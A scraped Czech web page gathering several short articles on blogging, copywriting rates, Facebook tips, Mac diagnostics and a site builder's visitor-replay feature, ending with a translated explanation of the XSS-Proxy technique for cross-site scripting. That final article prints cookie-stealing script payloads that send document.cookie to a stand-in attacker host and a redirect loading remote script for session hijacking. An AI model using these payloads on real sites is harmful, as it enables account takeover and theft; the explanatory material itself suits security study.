osobní blog a chcete zůstat na blízku svým čtenářům, musíte  jít na sociální sítě, zejména Facebook, pokud tam již nejste, a soustředit svou činnost tam – nejen sdílet samotný nový článek (a udělat to několikrát, ne jen jednou), ale i na sociální síti komunikovat s vašimi čtenáři, diskutovat, rozvíjet dále své články, sdílet zajímavé související odkazy apod. Kterou sociální síť zvolit? Záleží na tom, kterou vaši čtenáři pravděpodobně využívají!A druhá věc, kterou vřele doporučuji, je začít sbírat emailové adresy vašich čtenářů – pokud jim totiž napíšete email, že vyšel nový článek, pravděpodobněji se půjdou podívat. Předpokládat, že sami přijdou (protože přeci článek vydáváte pravidelně každou středu), je hodně pošetilé.Profesionální blogyI tyto blogy postihuje stejný fenomén, jako v případě blogů osobních. Lidé jsou více na Facebooku, než aby chodili k vám pro pravidelné články. Platí pro vás tedy stejné doporučení jako výše – jděte na sociální sítě a sbírejte emailové kontakty!Je zde ale ještě jeden trend. Protože lidé málo čtou články na internetu, hodně profi blogerů přechází na jiná média než pouhopouhé textové články – nejčastěji točí videa nebo podcasty (zvukové nahrávky). Videa vládnou internetu! Na video se lidé podívají raději, než aby četli. Na video se podívají přímo na Facebooku, nemusí nikam klikat. Video je prostě nový blog! Využijte tento trend a začněte místo dlouhých textových článků točit videa.Firemní blogyFiremní blog píšete proto, že chcete podpořit svůj business. Píšete články, které mají vašim potencionálním zákazníkům (i těm stávajícím) pomoci. A zde se, podle mého názoru, nemusíte až tak výše zmíněných trendů bát. Jde tady totiž o něco jiného – o to, aby vás skrz články našli potencionální zákazníci, například přes vyhledávače. Tj. když řeší nějaký problém, zadají dotaz do vyhledávače, a vyskočí váš článek. Tím daného člověka zaujmete, bude chtít vědět více, zapíše se do vašeho newsletteru atd. atd.Proto má stále smysl psát hodnotné textové články na váš web. Nemusíte to třeba zrovna nazývat „blog“. Prostě články, užitečné rady apod. Z hlediska vaší vyhledatelnosti na internetu jsou články výborné. A také si tím budujete svou značku a pozici experta.Můžete ale také využít zmíněných trendů, a začít točit třeba videa – budete mít větší příležitost oslovit více lidí například právě na sociálních sítích – byla by škoda nevyužít toho, že velká většina vašich zákazníků tam pravděpodobně je.O tom, že musíte sbírat emailové kontakty, už ani nemluvím, jistě to už děláte :-).Celkově tedy lze říci, že blogování není mrtvé, jen se mění a je třeba se těmto změnám přizpůsobit. Jen tak si udržíte své čtenáře a budete dále rozvíjet svůj úspěšný blog.

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci SEO a vyhledávače na dotaz tady

Hledáte levný copywriting?

access_time21.březen 2020personRedakce

Hledáte-li levný copywriting anebo copywriting obecně, pak se zamyslete zejména nad tím, jaká je hodnota psaní textů. V rámci tohoto textu byste měli pochopit, jaká je reálné cena textů. Jaké jsou tedy náklady na copywriting? Budeme vycházet z prostého selského rozumu a položíme si otázku: „Za jak dlouho napíšu jednu normostranu textu?“ Pro vysvětlení, jedna normostrana textu činí 1800 znaků včetně mezer, jak stanovuje definice.Za jak dlouho tedy napíšu jednu normostranu textu o něčem, co mě neživí či je pro mě relativně neznámé? Já osobně píšu hodně textů a článků a vidím, že jsou v jednotlivých textech markantní rozdíly. Pokud je Vám totiž téma blízké, pak toho napíšete mnohem více. Jestliže je pro Vás téma neznámé, musíte pátrat a při psaní textů přemýšlet. Jednu normostranu textu tedy napíšete asi za jednu až dvě hodiny. Osobně se přikláním ke dvěma hodinám, pokud se jedná o složitější téma.Jaké jsou hodinové náklady? Tady samozřejmě záleží zejména na tom, kdo články píše. Student Vám napíše text za 100 Kč na hodinu, ale na druhou stranu. Budete takový text chtít? Neměl by článek psát někdo, kdo dané téma zná a má v něm přehled? Neměl by ho psát někdo, kdo již má určité životní zkušenosti? Vždyť jsou to právě texty, které budou reprezentovat Vaši firmu.Sazba copywriteraDobrý copywriter si za svou práci účtuje hodinovou sazbu 600 Kč/hodinu. S tím také souvisí další pohled. Zkoušeli jste již někdy psát osm hodin v kuse? Je to namáhavá činnost, při níž dochází k tomu, že si zákazníci objednávají jeden, maximálně dva články k tématu. Copywriter se tak přepíná s více tématy, což je velmi náročné, pokud vyhledává informace. Cena od 600 Kč do 1200 Kč za normostranu je u profesionálních copywriterů v normě.Originalita textuZ výše uvedené ceny plyne, že texty, jejichž cena se pohybuje pod 600 Kč za normostranu, jsou psané buď nekvalifikovanými lidmi, nebo jsou odněkud překopírované. Roste zde i riziko, že se na to přijde a Váš web tak bude penalizován, což byste určitě nechtěli. Můžete být kvůli kopírovaným textům vyřazeni z indexů vyhledávačů, čímž bude Vaše podnikání omezeno, ba dokonce i zcela zastaveno.

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci Sociální sítě na dotaz tady

3 tipy jak na Facebook

access_time13.květen 2019personJana

Facebook je pro blog velmi dobrým způsobem, jak zůstat ve spojení se svými čtenáři, upozorňovat je na nové články, ale třeba je i „odměnit“ něčím navíc. Na druhou stranu je Facebook poněkud kontroverzní – někteří tvrdí, že Facebook jako sociální síť je na ústupu a zkoušejí například Google+. Pravdou ale je, že spousta lidí již na Facebooku je, pravděpodobně včetně vašich (potencionálních) čtenářů a proto by byla škoda toho nevyužít. Opět záleží na vašem oboru a tématice blogu – podívejte se, zda vaši potencionální čtenáři jsou na Facebooku nebo někde jinde. Připravila jsem pro vás v souvislosti s Facebookem několik tipů:1) Facebook má jednu velkou nevýhodu – vaše příspěvky totiž ve skutečnosti uvidí jen velmi malá část vašich fanoušků. Pokud chcete, aby váš příspěvek viděli všichni vaši fanoušci, musíte za to Facebooku zaplatit. Zkuste tuto nevýhodu obejít tím, že budete propagovat své příspěvky třeba několikrát během pár dní – využijte na to funkci naplánování příspěvku. Rozhodně nehrozí, že byste tím své fanoušky nudily, protože fakticky uvidí každý příspěvek jen malá část z nich2) Facebook čas od času mění design vzhledu stránek. Jedna taková změna proběhla nedávno. Mně nepotěšilo odstranění šikovných záložek pod hlavním obrázkem, ale to tu nebudu rozebírat. Novinkou je, že Facebook zobrazuje  náhled vašich nejnovějších fotek v levém sloupci – přidávejte tedy hodně (zajímavých) fotek! Využijte také možnost vytvářet alba. Takové album může být třeba tématicky zaměřené na příspěvky z vašeho blogu, na určitou kategorii příspěvků a pod. Pohrajte si s fotkami např. v některém online zdarma dostupném programu (picmonkey.com, canva.com), kde můžte velmi snadno přidat přes obrázky texty a nadpisy, aniž byste museli být zdatnými grafiky3) Nezůstávejte jen u propagace svých příspěvků z blogu. Můžete také sdílet starší příspěvky, fotky z Instagramu (a třeba tak nechat čtenáře nakouknout do vašeho zákulisí a na váš osobní život, vytváříte tak se svými fanoušky osobní vztah). Lze sdílet i příspěvky spřátelených blogerů či jiné inspirativní odkazy z internetu. Zeptejte se svých fanošků na nějakou otázku. Facebooku vám dává příležitost dále budovat vaši značku či jméno a být více nablízku vašim čtenářům.P.S. Tady najdete skvělou infografiku s ideálními rozměry vašich obrázků pro Facebook: http://www.pinterest.com/pin/139893132150245219/

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci Operační systémy a Aplikace na dotaz tady

Jak použít Apple Diagnózu k řešení Mac probémů

access_time22.květen 2019personRedakce

Ve velmi vzácných případech, a to i přes to, že Apple vybírá pouze kvalitní komponenty, se můžeš setkat s boot problémem, grafickým problémem, případně s něčím jiným, co by ti vadilo při práci s Macem. V této krizové situaci hned nemusíš bežet do Apple Store, ale stačí aby si postupoval podle tohoto návodu, který dokáže vyřešit běžné Mac problémy nebo alespoň poukáže na to, co je špatně.1. Odpoj všechna příslušenstvíAby se vyloučily jakékoli problémy s příslušenstvím připojeným k počítači Mac, je třeba nejprve zajistit, aby všechny externí pevné disky, mikrofony, reproduktory a další příslušenství byly odpojeny od počítače. Připojeny nech pouze monitor, myš a klávesnici a můžeš pokračovat.Pokud zjištíš, že tvůj počítač funguje normálně bez jakéhokoli příslušenství, pak připojuj příslušenství jedno po druhém, dokud nenajdeš příslušenství, které je příčinou problému.2. Spusť Apple Hardware TestRestartuj počítač a drž „D“. Budeš automaticky přesměrován na Apple Diagnostiku. Sleduj průběh diagnostiky a na konci si napiš kódy problémů, které můžeš ukázat pracovníkům v Apple Store. Tady můžeš najít seznam reference kódů.3. Klávesové zkratkyExistuje několik klávesových zkratek, které ti ulehčí orientaci při průběhu diagnostiky.Command + G – Zobrazit příručku ZačínámeCommand + L – Zobrazit obrazovku pro výběr jazykaCommand + R – Opětovné spuštění DiagnostikyS – Vypnout MacR – Restartovat MacPozn. při použití restartu nebo vypnutí, může dojít k mírnému zpoždění příkazu.

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci SocialWeb na dotaz tady

Víte co dělají návštěvníci na vašich webových stránkách?

access_time08.květen 2019personRedakce

Pokud máte webovou stránku, pak jistě víte jak důležité je používání analytických nástrojů a sledování návštěvnosti.Předpokládám, že většina z vás používá Google Analytics.Ne však lidé, kteří se rozhodli vytvářet webové stránky, microsites, blogy a nebo třeba internetové obchody přes aplikaci SocialWeb, my co používáme SocialWeb nepoužíváme primárně žádné služby Google, tedy ani Google Analytics, ikdyž jako majitel webu samozřejmě máte možnost vložit do svého webu Google Analytics tracking kód.Děláme to proto, ne že by nás jimi zpracovaná data o návštěvnících nezajímala ale, že zkrátka nechceme Google bezplatně dávat žádné informace o našich návštěvnících.Podívejte se na to tak, že pokud všechny weby budou používat Google Analytics (nebál bych se říct, že tak dnes činí 60% všech webů), tak že kdomě toho, že majitelům a správcům těchto webů poskytnou poměrně přesné data o jejich návštěvnosti Google získává něco ještě cennějšího.Google dokáže tímto způsobem podle mě monitorovat celou aktivitu každého konkrétního uživatele internetu, vlastně si vytváří takový tajný profil každého uživatele, který zahrnuje všechny navštívené webové stránky, délky návštěv, časy příchodu/odchodu, prostě cokoliv z čeho lze něco následně vydedukovat (zvyky, zájmy, koníčky), to pak logicky využívá pro své reklamní aktivity (Google Ads), trénování AI a bůh ví k čemu dalšímu.Takže vlastně, čím méně webů Google Analytics bude používat, tím více děr v tomto sledování o návštěvních bude Google mít a to je dle mě jenom dobře.Tento článek však nepíši proto abych kritizoval služby Google, chtěl jsem jen poukázat na fakt, že SocialWeb nepoužívá ani aktivně nepodporuje žádné služby třetích stran a veškeré data, které mi získáváme slouží vždy a jen za účelem zlepšení webových stránek konkrétního uživatele jím samotným (žádná uměla inteligence, žádné vyhodnocování o co by mohl mít konkrétní návštěvník zájem..).Před několika měsíci mi na Facebooku začala vyskakovat reklama na aplikaci, která se jmenuje HotJar, celkem mě zaujal počet komentářů a interakcí, jenž jejich reklama získala. Víte, díky analytickým nástrojům jako je Google Analytisc získáváte data o návštěvnících, jejich IP adresy, město, obec, které stránky si zobrazili, jejich počty, odkud přišli a tak dále, z těchto dat se pak dají generovat různé grafy (tohle umí i SocialWeb)… nicméně nikdy nezjistíte co na vašem webu udělali, kam klikali, na kterou část webu se nejvíce zaměřují a kterou naopak zcela ignorují,..Právě k tomu slouží třeba tato služba HotJar, která zkrátka zachycuje každou interakci návštěvníka na webu jenž má tuto službu implementovanou, díky tomu pak majitel webu může zjistit, co je pro web dobrý a co je tam zbytečný, nebo třeba na co uživatelé klikají a nic se jim nezobrazí, nebo jak se jim web na jejich zařízení zobrazil.Já jsem majitel a autorem systému SocialWeb, který umožňuje vytvářet webové stránky, magazíny, blogy členům systému SocialWeb a to tak, že si tyto weby dělají sami uživatelé, můžou si zkrátka každý web sestavit jak chtějí a právě proto mi tato služba přišla zajímavá a to proto, že by pak mohli uživatelé SocialWebu lépe porozumět tomu jak se návštěvníci na jejich webech chovají a co tam dělají.A zase stejný problém, chci aby získával někdo kdo za systémem HotJar stojí všechna data, všech návštěvníků všech webů, které byli vytvořeny systémem SocialWeb? .. Samozřejmě, že ne!A tak začal vývoj nové funkce systému SocialWeb, kterou jsem pojmenoval Vizualizace návštěvnosti, která by uměla to samé, co nabízí placená služba HotJar, bezplatně, bezpracně, automaticky, pro každého a úplně zdarma.A výsledek?Právě se můžu dívat na svém monitoru na to jak právě teď a tady pohybujete kurzorem myši a vidět přesně to co vidíte vy.Můžu vidět veškeré tahy kurzorem od nějakého data k nějakému datu na konkrétní stránce i třeba tohohle webu a tak zjistit které části právě tohoto webu lidi zajímají.Mohu se podívat na části webu, které vzbuzují největší zájem, na kterékoliv stránce v jakémkoliv období.Můžu sledovat veškeré kliky a nebo si můžu přehrávat zpětně každou návštěvu, včetně téhle vaší a tohle může dělat každý kdo vytváří webové stránky systémem SocialWeb!Pokud vás to nějak rozrušilo, tak vás mohu uklidnit, já skutečně nemám čas abych sledoval co kdo na mých webech dělá, mám rozpracované další zajímavé a unikátní funkce o kterých bych rád pokud budu mít chvilku čas zde opět napsal nějaký článek a co se jiných uživatelů SocialWebu týká, tak tahle funkce slouží jen k tomu aby své weby neustále zlepšovali a to tak aby byli pro majoritu uživatelů co nejužitnější.Pokud se vám líbí mé funkce, to jak tenhle systém neustále zdokonaluji a chcete tyto a stovky dalších funkcí začít používat, pak vás rád přivítám do svého systému, komunity SocialWeb, protože já tyhle funkce nevytvářím pro sebe ale pro své lidi a partnerské marketingové firmy!

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci Hacking na dotaz tady

Pokročilé techniky xss (cross-site scripting)

access_time16.červen 2020personRedakce

Popis pokročilého Cross-Site-Scriptingu, se vzdálenou kontrolou v reálném čase, od autora aplikace XSS-proxy jménem Anton Rager. Cross Site Scripting (XSS) je mnoha vývojáři a security profesionály obvykle považován za málo závažnou bezpečnostní zranitelnost. Do dnešní doby vznikla řada projektů s poukazem na potencionální rizika XSS, ale problém je převažne na pokraji zájmu bezpečnostních expertů a to včetně širších souvislostí o které tady jde.Autor aplikace XSS proxy napsal a zveřejnil popis v naději, že se odlehčený pohled na věc změní. Cituji: Doufám, že tímto dokumentem a vydáním nástroje pod jménem XSS-proxy (popsáno níže) změním pohled na celou situaci. XSS-Proxy umožňuje plnou kontrolu XSS útoků vzdáleným uživatelem (útočníkem). Tento dokument popisuje obvyklé XSS útoky a představuje nové metody/nástroje pro vytváření interaktivních XSS útoků, obojsměrných útoků a ještě více zla.Nejedná se o detailní návod (XSS howto), ale o širší vysvětlení metod XSS útoků. CGISecurity XSS FAQ (1) je dobrý zdroj pro celkový pohled na problematiku hlavních XSS zranitelností. V závěru textu jsou reference (2,3,4,5) obsahujíci skvělý materiál pro navazujíci XSS témata.Projekt XSS-proxy nevznikl jako platforma pro diskuzi a řešení. Existuje celá řada zdrojů, metod a možností pro hlášení chyb nebo opravování XSS děr. Pokročilé metody XSS které budou v textu představeny obcházejí mnoho metod aplikovaných proti XSS zranitelnostem. Doporučené čtení o hidden form inputs, URL re-writing, POST methods častokrát podsouvají řešení které nejsou 100% učinné, obzvlásť v případě, že má útočník přístup ke stejnému obsahu (a jscript/values) jako jeho oběť. Zbavit se všech speciálních HTML znaků nebo precizní filtrování vstupu je k ničemu v případě, že existuje neobjevený způsob jak vstup obelstít. Řešením může být rozdelení webových stránek na četné dokumentové domény, kde bude pro útočníka mnohem obtížnější provést/najít XSS útok/zranitelnost v porovnání s jediným místem kde je vše pohromadě. CGI vyhledávání na stránce v jedné subdoméně a citlivé oblasti na další(ch) může být užitečné.Pozadí XSSJako mnoho z vás ví, běžné XSS útoky vycházejí typicky ze dvou základních principů:1 – Útočník uploaduje <script> tag do veřejného fóra, blogu nebo stránek které navštevují uživatelé a obsahují XSS zranitelnost. Útočník pak díky přístupu získa (harvesting cookies) cookies webové stránky ze kterých vyčte řadu důležitých informací a díky tomu častokrát i přítpup k uživatelským účtum. Útoky jsou ale někdy využitelné mnohem hlouběji. Zde je to co myslím a říkam mnoha lidem co XSS přesně znamená. Příklad:Někdo chce odeslat následujíci kód na utocnik.com aby to další uživatelé sprocesovali.<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>Je to pokus o získání obrázku ze serveru útočníka pomocí cookies uživatele blogu priklad.com v URL.2 – Útočník použije veřejný web náchylný na útok XSS jak bylo uvedeno nahoře, nebo email zprávu založenu na XSS pro přesměrování uživatele na druhý server zranitelný pomocí XSS. Druhý server je aktuální cíl útočníka a stránka samozřejme obsahuje vlastní XSS zranitelnost, kde nic netušíci uživatel injektuje obsah <script> do dokumentu, který navenek pouze vidí. To v kombinaci s přesměrováním z dalšího webu umožňuje podvržení cookies, podvržení form/submit obsahu nebo specifickou akci XSSnutého uživatele proti dalšímu webu. Tato metoda je hodně rozšířena ale pramálo admiínistrátorů chápe, že se jedná o způsob útoku. Jak to funguje?Někdo chce odeslat následujíci kód na priklad.com aby to další uživatelé sprocesovali. <script>document.location=’http://ebanking.com/search?name=<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>'</script>Moment kdy je uživatel přesměrován na ebanking.com s hořejší XSS, toto je to co se vrátí uživateli a bude spuštěno:<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>To je pokus o získání obrázku ze serveru útočníka s cookies uživatele ebanking.com v URL.V minulosti hodně lidí zdůrazňovalo, že pokročilou manipulaci s webovým obsahem lze dosáhnout s XSS skriptem otevirajícím IFRAME (nebo další windows-like element) a loads/submits pro další dokumenty na stejné stránce. Důvěra v DOM umožňuje přítomnost Javascriptu v dokumentech a dovoluje interakci s dalšími windows/IFRAME, do doby než budou okna směrována do stejné dokumentové domény (protokol + domain_name + port).Aktuální metody XSS útoků jsou typicky limitovány pro jednu transakci a ve výsledku pouze v rámci cílové stránky, cookie harvesting nebo podvržení formuláře (form submission leakage). Zásady XSS-Proxy / ÚtokuXSS-Proxy rozšířuje běžné XSS útoky a kombinuje je s možností vykonání dalších Javascript příkazů, z libovolného vzdáleného serveru (viz Javascript Remoting reference číslo (6) pro detaily s IFRAME) pro možnost XSS být více než-li přesměrování s únikem cookies. Tato kombinace útočnikovi umožňuje ustavit stabilní, obousměrný kontrolní/přenosový kanál na oběť XSS a tím přistupovat na XSSnuté webové stránky s identitou oběti. Po celou dobu co má oběť útočníka otevřené XSS okno má útočník totální kontrolu nad prohlížečem oběti oproti XSS stránce s možností přesměrování na další stránky zranitelné XSS, nebo předání specifického blind requestu dalším serverům (viz reference číslo (3) provádění Cross-Site-Request-Forgeries aka CSRF a reference číslo (4) pro Session-Riding).Zmíněné situace lze dosáhnou s jedním nebo druhým útokem popsaným nahoře, teď se pokusíme názorně popsat příklad dvojího XSS přesměrování serveru. Oběť dostane XSS vektor pomocí blogu, diskuzního boardu, emailem atp. (předpokládaejme, že oběť surfuje na webech kde je možné vytvořit XSS – zavoláme stránku spatnyblog.com) a Javascript obsah přesměruje uživatele na druhou stránku (zavoláme druhou stránku ebanking.com a předpokládame samozřejmě, že stránka obsahuje XSS vo vyhledávací funkci, takže můžeme opakovat pomocí GET). Přesměrovací URL referuje na refers to a napadnutelnou část (cgi/etc) na druhém serveru což způsobý odezvu serveru která bude obsahovat Javascript příkaz útočníka který oběť vykoná.Inicializační XSS vektor na spatnyblog.com bude vypadat nějak takhle:<script>document.location=“http://ebanking.com/search?name=<script src=’http://utocnik.com/xss.js‘></script>“</script>Okno oběti teď má dokumentovou doménu ebanking.com a Javascript příkazy běží na doméně. Díky Javascript oběť posílá requesty na http://utocnik.com pro další skriptové příkazy. Nástroj XSS-Proxy aktuálně běží na utocnik.com a posyktuje další Javascripty pro inicializaci klientské části obsahujíci třeba funkce pro čtení dokumentů, procesování, přesměrování odpovědí, manipulaci chyb (error handling), stejně jako další příkazy pro vytvoření IFRAME, načtení root dokumentu (/) na cílovém serveru (ebanking.com) do IFRAME, načtení trvá pár vteřin, čtení obsahu (za použití innerHTML), pak následují další požadavek skriptů na http://utocnik.com. To vypadá komplexně ale jedná se pouze o několik řešení a reference časovač pro více volání skriptu na XSS-Proxy server. Funkce zůstanou v paměti až do doby než se okno oběti změní. Co se stane když od oběťi odejdou na http://utocnik.com subsekvenční skript requesty? Aktuálně se stanou dvě věci:1 – Obsah dokumentu v IFRAME (výsledky innerHTML pro daný objekt) jsou podvrženy do URL v skript requestu. Requesty skriptu jsou pouze GET, takže všechny volání skriptu obětí jsou jako volání normálniho dokumentu a ukládají parm/info na URL za jméno skriptu/stránky. Toto volání skriptu způsobý na serveru útočníka něco jako:GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1Je to o něco víc komplexnější než to, že IE limituje délku URL (na přibližně 2049 znaků), takže většina dokumentů bude potřebovat naporcovat na části, které se na skritp URL request budou schopny dát dohromady. Aktuální nástroje se s tímto snaží vypořádat tak, že umísťují do URL dotazů přídavné informace pro znovusestavení (podobně jak to funguje u TCP/IP paketů).2 – Server na http://utocnik.com odpoví na poslední požadavek skriptu s více skirpt příkazy pro zachování trvání. Server buďto odpoví pomocía.) loop requestu (obyčejně řekne oběti počkej pár vteřin, pak znovu zkontroluj zda-li existují další příkazy skriptu)b.) dokument requestu (vlož dokument do IFRAME, přečti ho a přepošli výsledky pokud tě o to skript požádá)c.) submit requestu (nastav hodnoty vstupu ve formuláři s IFRAME, odešli, čekej na odpověď, přečti odpověď přepošli výsldek zpátky pokud o to skript požádá).Nebo pomocí javascript var/funkce požadavek na vyhodonocení (vyhodnoť výraz uvnitř aktuálniho okna v prohlížeči oběti a vrať výsledek+get příkazy). Proces pokračuje tak dloho jak oběť setrváva na stejné stránce.Zde je ASCII vizualizace okna a vysvětlení v souvislostech s cílem útočníka, po tom co je oběť přesměrována na finálni cíl a inicializován únos session:Existuje řada metod pro zamaskování aktuálniho „rezidentního“ okna pro útok (attack window) nebo IFRAME zaváděče. Celé okno lze schovat, stejně tak zrušit původní obsah stránek nebo proste použít skrytý IFRAME. Nástroj XSS-Proxy o kterém mluvíme, necháva okno včetně IFRAME pro oběť viditelné, ale modifikace je triviální (třeba interaktivně s Javascript Eval from). Existují i metody jak donutiti uživatele otevřít nové okno a obejít blokování pop-up oken. Jak? XSS proces přepíše odkazy v originálním dokumentu a otevření okne je pak pouze otázkou kliku. Nové oknomůže být kopii (zrcadlem) toho co si uživatel právě prohlíží, nebo výsledek odkliknutého odkazu ve veřejném XSS dokumentu a zmanipuluje oběť tak, že okno kontrolované XSS nechá běžet když dál surfuje.

folder_openPřiřazené štítky